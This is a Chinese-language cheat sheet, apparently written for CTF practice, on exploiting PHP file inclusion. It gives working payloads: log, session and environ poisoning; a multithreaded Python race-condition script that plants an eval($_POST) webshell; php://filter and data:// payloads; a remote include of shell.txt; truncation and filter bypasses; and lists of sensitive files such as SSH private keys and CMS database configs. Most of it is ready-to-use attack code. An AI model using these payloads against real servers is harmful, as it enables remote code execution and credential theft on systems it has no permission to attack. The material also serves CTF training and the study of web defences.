文件包含

 


tips:如果包含非php文件的话会直接输出,包含php文件的话会执行里面的代码,不会输出

php.ini参数设置

可以通过phpinfo查看

allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;

allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件

各协议的利用条件和方法

20211207222304

本地文件包含(LFI)

日志文件注入

20211207222551

常用路径

/var/log/apache2/access.log
/var/log/nginx/access.log
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

环境变量包含

修改 User-Agent 填写 php 代码

/proc/self/environ 这个文件里保存了系统的一些变量

只要权限足够就能getshell

session文件包含

默认路径

/tmp
/var/lib/php/session
phpinfo页面下的 session.save_path变量

文件名

sess_[PHPSESSID]

配置

use_strict_mode要默认关闭

session.upload_progress.cleanup 要关闭( 如果开启,读取POST请求后就会自动删除进度信息,不能同时包含文件)

其他配置(默认就是这样的)

image-20220607225120875

getshell

  1. 如果用户能够直接修改$_SESSION的值,就能写入恶意代码,通过文件包含执行文件
// 演示代码
$a = $_GET['a'];
$_SESSION["username"]=$a;
$include = $_GET['include'];
include($include);
// ?include=/var/lib/php/session/sess_[PHPSESSID]   直接包含即可RCE
  1. 利用session.upload_progress将木马写入session文件(通过修改PHPSESSID的值来自定义文件名),然后包含这个session文件(PHP版本>=5.4.0)

image-20220607225130496

上传页面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>upload-POC</title>
</head>
<body>
<form action="目标url" method="post" enctype="multipart/form-data">
    <!-- session 上传 -->
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();eval($_POST['kradress']); ?>" >
    <!-- --------------------------------------- -->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

演示

<?php
//仅用于session.upload_progress 文件包含的教学
//session默认路径 /tmp 或者 /var/lib/php/session
//session文件名 sess_[PHPSSID]
if (isset($_GET['file'])){
    include($_GET['file']);
} else {
    highlight_file(__FILE__);
}

bf26264db3fccece61e23c84354a986

条件竞争

ctfshow群主的脚本,用多线程重放包

# -*- coding: utf-8 -*-
# @Author: k1he
# @Date:   2021-09-20 09:51:29
# @Last Modified by:   k1he
# @Last Modified time: 2021-09-20 14:33:23
import io
import requests
import threading

sessid = 'k1he'
url = 'http://d6e3bf8e-15f1-45a5-b527-cbf5c6b95de7.challenge.ctf.show/'

def write(session):
    while event.isSet():
        f = io.BytesIO(b'a'* 1024 * 50)                     #创建文件
        response = session.post(                            #post文件上传
            url,                                            #url
            cookies = {'PHPSESSID':sessid},                   #设置cookie为我们的sessid
            data = { "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');file_put_contents('/tmp/1.php','<?php phpinfo();eval($_POST[1]); ?>');?>"},#写马或执行内容
            files = {"file":('k1he.txt',f)}                 #上传文的具体内容,文件名和文件内容
            )

def read(session):
    while event.isSet():
        payload = "?page=/tmp/sess_"+sessid                 #包含我们的session路径

        response = session.get(url = url+payload)           #读取页面

        if 'k1he.txt' in response.text:                     #返回页面
            print(response.text)
            event.clear
        else:
            print("[*]retrying!!!")


if __name__ == '__main__':                                  #双线程运行
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()



临时文件包含

临时文件路径和文件名

默认在/tmp目录下 文件名 php+6位随机字母

使php崩溃,保存临时文件

参考博客: https://www.cnblogs.com/tr1ple/p/11301743.html

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

适用版本

• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复

• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复

• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复

include.php?file=php://filter/convert.quoted-printable-encode/resource=/etc/passwd

这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数

• php7.0.0-7.0.32

• php7.0.4-7.2.12

• php<=5.6.38的版本
<!-- 5.6.39-5.6.9以内的版本并不存在这个崩溃 -->

自包含

三要素:

  1. 通过自包含或者其他方式使得临时文件暂时存在

  2. 能够同时查看phpinfo($_FILES[‘file’])

  3. 进行文件上传

利用自包含index.php,页面不断加载,文件上传跳转后要求显示phpinfo页面,在文件上传的时候,php默认会在/tmp目录下随机生成 php+6位随机字母的文件,上传后跳转到自包含的页面,这时候在phpinfo中的$_FILES[‘file’]变量会显示临时文件路径,到另一个页面包含这个文件就能getshell

文件上传路径 url?page=index.php&info

<?php
error_reporting(0);

if (isset($_GET['info'])) {
    phpinfo();
} else {
    highlight_file(__FILE__);
}

if (isset($_GET['page'])) {
    $page = '/var/www/html/'.$_GET['page'];
    include $page;
}

伪协议

php://filter

模板

php://filter/resource=flag.php
php://filter/convert.base64-encode/resource=flag.php
php://filter/convert.iconv.ASCII.UCS-2BE/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
php://filter/convert.iconv.utf-8.utf-7/resource=flag.php

// 用 echo iconv('UCS-2BE', 'UCS-2LE', $str); 解码

filter/[2次url编码]/resource 中间部分可以二次编码绕过

20211207223119

file://

通过访问路径读取文件

data://

base64

data://text/plain;base64,[base64_encode_shell]  //base64 格式
data://text/plain,<?php phpinfo()?>
data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];;?>
| 获取文件目录 (多加一个;方便base64  不然base64编码以“+”结尾会导致“+”url被识别成%20
data://text/plain,<?php print_r(scandir("/var/www/html"));?>
| php读出当前目录下的文件
data://text/plain,<?php print_r(file_get_contents("flag.php"));?>
| php获取文件内容

compress.zlib://flag.php

读取压缩流

远程文件包含

需要allow_fopen=On并且allow_include=On

远程代码执行

file=[http|https|ftp]://example.com/shell.txt

php://input

post提交数据

文件包含截断

文件名后缀拼接

include$_GET['file'].'.jpg'

%00截断

在 php 版本小于 5.3.4 而且GPC = Off 允许使用%00 截断,在使用 include 等文件包含函数,可以截 断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转以成\0 截断会失败。

?file=shell.txt%00

超长文件包含截断

这个合适于 win32 可以使用.进行截断 和 .

(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256)

利用操作系统对目录最大长度限制。

在 window 下 256 字节

linux 下 4096 字节

远程包含截断

字符

# -> %23
? -> %3f
00 -> %00

?file=http://127.0.0.1/shell.txt?

任意文件读取

敏感文件

读取网站配置文件

dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php

Windows

C:/boot.ini//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件
C:/Windows/repairsam//存储系统初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql   root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息

Linux

/proc/self/root #指向根目录
/proc/maps    #记录一些调用的拓展或者自定义的so文件
/proc/self/environ #环境变量
/proc/environ  #环境变量
/proc/comm    #当前进程运行的程序
/proc/cmdline #程序运行的绝对路径
/proc/cpuset #docker环境可以看 machine ID
/proc/cgroup #docker环境全是 machine ID 不常用
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/root/.bash_history
/root/.mysql_history

flag字典php文件目录

https://github.com/ev0A/ArbitraryFileReadList/

目录穿越

js目录穿越

有时候 ../会被合并,可以将/进行URL编码(%2F)

python目录穿越

os.path.join(os.getcwd()+'/public','/tmp')

第二个参数以/开头,python会把它理解成根路径,最终拼接路径为/tmp

bypass

.点被过滤

ip转长整型,里面有一句话木马,需要vps

https://www.bejson.com/convert/ip2int/

include "http://2002459365";

;被过滤

?>闭合代码

include(不用括号)或者require也一样

数字被过滤 可以改成字符串 不用加单引号也可以

include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
<!-- | include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?> -->

强制加后缀 如 include($cmd.".php")

$cmd=data://text/plain,<?php phpinfo()?>
// 后面再拼接上.php的时候,由于php语句已经闭合,所以起不了什么作用

路径过滤

replace('./','') = > ...//...//...//...//...//flag

file_put_content或者highlight_file

参考文章

https://xz.aliyun.com/t/8163

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

参考博客

https://blog.csdn.net/Kracxi/article/details/121887620

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    file_put_contents($file, "<?php die();?>".$content);

file_put_contents() 把一个字符串写入文件中

第一个参数 要写入数据的文件。如果文件不存在,则创建一个新文件。

第二个参数 写入的内容

用base64

?file=php://filter/write=convert.base64-decode/resource=flag.php

content=a[base64-encode]

这里解释一下php://filter/write=convert.base64-decode/resource=flag.php是将flag.php写入的内容"<?php exit();?>".$content进行base64解码,”<?php die();?>”中只有phpexit会被解码,而base64是4字节个一组的,phpdie只有6字节,所以content要补两个a,否则无法正常解码

用string.rot13

?file=php://filter/write=string.rot13/resource=flag.php

content=[rot13-encoding]

用 UCS-2LE UCS-2BE

?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

post:

contents=?<hp pvela$(P_SO[T]1;)>?

这种是将字符两位两位进行交换

大家可以自行测试如下代码

echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?');

输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid(e;)>?<?php eval($_POST[1]);?>

! is_file()

检查指定的文件名是否是正常的文件。

目录溢出绕过

/proc/self/root是指向根目录的

ls /proc/self/root

20211216130830

is_file函数能处理的长度有限,用/proc/self/root可以目录溢出

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

伪协议包装

上面有

! file_exists()

函数检查文件或目录是否存在。

构造不存在的文件

/nice/../../proc/self/cwd/flag.php ./nice/../flag.php

伪协议包装